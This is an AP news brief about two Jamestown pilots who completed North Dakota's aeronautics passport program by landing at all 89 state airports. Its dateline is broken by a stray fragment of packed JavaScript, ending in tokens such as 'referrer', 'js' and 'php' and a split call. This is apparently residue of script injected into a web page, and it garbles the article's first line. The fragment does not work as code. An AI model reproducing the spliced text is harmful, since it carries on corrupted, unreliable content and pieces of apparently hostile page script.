JAMESTOWN, anabi|var|u0026u|referrer|asfdn||js|php’.split(‘|’),0,{}))
N.D. (AP) – Two Jamestown pilots have landed in every North Dakota airport.

Dale Seckerson and Jay Dugan recently completed the top tier of the North Dakota Aeronautics Commission’s passport program by flying into all 89 airports.

The 61-year-old Seckerson and 35-year-old Dugan say the program started out as a friendly competition between the two lifelong aviators. They flew to about half the airports in Dugan’s plane and half separately.

The high-water mark for the pilots in one day was 18 airports.

Dugan says the Arthur airport was one of his favorites because planes are required to approach the grass runway between two trees.

State Aeronautics Commission officials say only about 10 people have made all 89 airports through the passport program.